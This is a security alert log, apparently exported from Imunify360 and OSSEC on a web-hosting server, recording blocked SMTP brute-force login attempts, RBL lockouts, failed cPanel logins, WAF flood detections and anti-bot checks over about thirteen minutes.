Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:07:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11286: 535 Incorrect authentication data (set_id=lenovo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:07:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23246: 535 Incorrect authentication data (set_id=michel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:07:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:07:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37786: 535 Incorrect authentication data (set_id=prensa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:07:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27260: 535 Incorrect authentication data (set_id=band@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:08:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:08:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11744: 535 Incorrect authentication data (set_id=pcgoadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:08:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:08:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:40960: 535 Incorrect authentication data (set_id=msr@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:08:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35888: 535 Incorrect authentication data (set_id=aldo@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.102.22.184
country_id: 3144096
description:
82.102.22.184 - - [13/Jun/2026:07:08:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986391&pdata=https%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334518 HTTP/2.0" 302 0 wages.tg "https://wages.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.102.22.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:09:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:09:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:09:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:09:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62088: 535 Incorrect authentication data (set_id=mougenot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:09:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50432: 535 Incorrect authentication data (set_id=mule@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:09:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3484: 535 Incorrect authentication data (set_id=rent@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:10:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:10:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7136: 535 Incorrect authentication data (set_id=555@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54280: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:10:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42260: 535 Incorrect authentication data (set_id=release@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59572: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 07:11:57 ns5 pure-ftpd[2237695]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/google6b8c2a1e0b3dc12d.html uploaded  (53 bytes, 0.47KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:11:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47268: 535 Incorrect authentication data (set_id=cb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:11:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45674: 535 Incorrect authentication data (set_id=kaplan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:11:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63406: 535 Incorrect authentication data (set_id=stream@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:11:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:11:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:11:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:12:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64390: 535 Incorrect authentication data (set_id=eec@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:12:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:12:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35250: 535 Incorrect authentication data (set_id=aomenzuqiu@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:12:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39300: 535 Incorrect authentication data (set_id=idps@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:12:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55254: 535 Incorrect authentication data (set_id=photos0@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:13:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.242.194.234
country_id: 1643084
description:
[2026-06-13 07:14:00 +0000] info [cpaneld] 180.242.194.234 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.202.55.143
country_id: 690791
description:
[2026-06-13 07:14:06 +0000] info [cpaneld] 31.202.55.143 - wa "GET /login/?login_only=1&user=wa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:13:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:13:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56048: 535 Incorrect authentication data (set_id=nk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 07:13:22 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44962: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.181
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:13:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31108: 535 Incorrect authentication data (set_id=dokdok@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:13:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:13:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47188: 535 Incorrect authentication data (set_id=opendkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:14:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39072: 535 Incorrect authentication data (set_id=step1@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:17372: 535 Incorrect authentication data (set_id=ddl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:14:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47542: 535 Incorrect authentication data (set_id=israel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:14:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.181
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2333||QS:add-to-cart=2333||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:14:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55774: 535 Incorrect authentication data (set_id=forums@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:14:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:14:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:15:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:15:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:15:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47364: 535 Incorrect authentication data (set_id=cei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:15:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802907&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334917 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:15:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39106: 535 Incorrect authentication data (set_id=tests@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:07:15:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791641&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334925 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:30878: 535 Incorrect authentication data (set_id=samsungtv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:16:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:16:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30738: 535 Incorrect authentication data (set_id=trial@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:16:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22708: 535 Incorrect authentication data (set_id=tuto@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:16:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38836: 535 Incorrect authentication data (set_id=agana@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36254: 535 Incorrect authentication data (set_id=receive@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:17:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:22334: 535 Incorrect authentication data (set_id=ivette@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:17:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:17:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30658: 535 Incorrect authentication data (set_id=egg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:17:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59618: 535 Incorrect authentication data (set_id=lynne@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:17:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:18:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57348: 535 Incorrect authentication data (set_id=congreso@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56440: 535 Incorrect authentication data (set_id=tasaki@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:18:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22400: 535 Incorrect authentication data (set_id=rehber@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:18:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:18:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:19:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36750: 535 Incorrect authentication data (set_id=void@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:19:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.42
country_id: 6252001
description:
205.169.39.42 - - [13/Jun/2026:07:20:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935512&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335215 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:19:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:19:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49212: 535 Incorrect authentication data (set_id=crowd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:19:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47816: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:19:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42542: 535 Incorrect authentication data (set_id=rosemary@ns5.netmaster.tg)


